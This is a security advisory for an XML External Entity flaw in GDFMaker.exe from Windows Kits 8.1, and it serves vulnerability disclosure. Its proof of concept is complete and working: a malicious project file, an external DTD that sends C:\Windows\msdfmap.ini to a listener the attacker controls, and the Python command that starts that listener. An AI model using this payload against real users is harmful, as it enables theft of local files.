Vendor:
=================

Product:
===========
GDFMaker v6.3.9600.16384

Game Definition File Editor (gdfmaker.exe)

The Game Definition File Editor is a graphical utility designed for creating localized game definition files (GDFs)
as well as the necessary resource compiler scripts to compile game-definition files. The GDF editor uses a project-based
format to organize data.




Vulnerability Type:
===================
XML External Entity



CVE Reference:
==============
N/A



Security Issue:
================
If a user loads an attacker supplied "GDFMakerProject" file type into GDF Maker using Ctrl+O or file menu, local files can be exfiltrated
to remote attacker controlled server, as gdfmaker.exe is vulnerable to XML External Entity Expansion attacks.

gdfmaker.exe can be found on Windows systems as part of Windows Kits: "C:\Program Files (x86)\Windows Kits\8.1\bin\x86\"

Note: The malicious file has to be opened using Ctrl + O or File / Open, double clicking does not seem to trigger it.
Victim may see an error like ... "There is an error in XML document(2,11)" and we get the victims file sent to our remote server.



Exploit/POC:
=============
Steal "msdfmap.ini" used by Remote MS ADO services POC.


1) "PWN.GDFMakerProject"

<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % data3 SYSTEM "C:\Windows\msdfmap.ini">
<!ENTITY % sp SYSTEM "http://127.0.0.1:8000/exfil.dtd">
%sp;
%param3;
%exfil;
]>


2) "exfil.dtd"

<!ENTITY % param3 "<!ENTITY &#x25; exfil SYSTEM 'http://localhost:8000/%data3;'>">


3) Start our file listener on Port 8000


C:\>python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...


4) Open the infected file using Ctrl+O or File Menu Open methods.

BOOOOM!
